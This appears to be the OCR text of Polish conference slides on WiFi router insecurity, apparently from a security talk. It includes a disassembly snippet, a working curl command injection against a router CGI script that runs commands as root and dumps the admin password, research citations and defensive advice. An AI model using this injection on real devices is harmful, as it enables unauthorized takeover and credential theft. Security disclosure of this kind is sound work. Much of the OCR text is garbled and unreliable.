Mo

HOu 55

HOou I i

HOU ;N

BL

How RB8, 5P -

LDR R1, =aBinAwencEISOS ; "“/binfawenc -e -i %s -o %s"”

"ftmp/FILE"

command

DGD aBinAwencEISOS 3

00000B38 00008B98: sub 8B60+38 (Synchronized with Hex View-1)

<

DATA XREF: sub_8B66+28Tr

-~ iy 7 [

8:44 AM

EXATEL

171472016

B & @0 E & T @ R prawy ctrl
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Mozemy wykonac dowolne polecenie jako root
(administrator)

$ export command='cat /tmp/scfgdndf'; curl --noproxy '*' -X POST --data-urlencode "Client=;
$command > /tmp/FILE;# &Download=Download™ "http://$targetip/cgi-bin/rdfs.cgi?lang=varLang&
src=varSrc&varSEID" | hexdump -C

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

lo6 6262 100 8192 100 70 230k 2016 ~-:==1=" == ==;-= o=
0000000 00 00 GO0 0O 00 OO 00 00 00 00 00 00 00 00 00 00
H

=]

k3

eoooldfo 2 61 74 6f 72 00 00
00001e00 ) 00 00 00 00 00 00
00001e10 » 31 32 33 00 00 00
00001220 00 00 00 00 00 00
k.

00002000

$

hasto administratora
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Czy mieliSmy po prostu szczescie?

Niestety nie jest tak dobrze, polecana lektura: (In)Security of Embedded
Devices' Firmware - Fast and Furious at Large Scale [32c3] (hitps://www.
youtube.com/watch?v=5gfé6mFz1rPM)

automatyczna statyczna i dynamiczna analiza obrazow firmware
przeanalizowano zaledwie 185 obrazéw od 13 producentow
znalezione 225 powaznych podatnosci (Command Injection, CSRF, XSS)

S LLLL Deloitte
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Jak zyé?

systematycznie aktualizowac firmware urzgdzen z WiFi \*exgea("'
jezeli to mozliwe uzywa¢ OpenWRT lub DDWRT (backdoory producenta!)
zmieni¢ domysine hasto z naklejki nawet jesli wyglgda na mocne i unikalne
szyfrowaC¢ WPA2 (czyli AES)

w przypadku wiekszych sieci korzystac¢ z serwera RADIUS i 802.1x

Cexarel Deloitte



“Zabezpieczenia”, a WiFi probe request

= filtrowanie MAC
= ukryta nazwa sieci (SSID)

Cexarer Deloitte.



Dziekujemy za uwage!

Adam Ziaja <adam@adamziaja.com>
Maciej Grela <enki@fsck.pl>

GitHub

Repozytorium ze skryptami z prezentacji:

https://github.com/bezprzewodowe/niebezpieczenstwo

Cexarer Deloitte.
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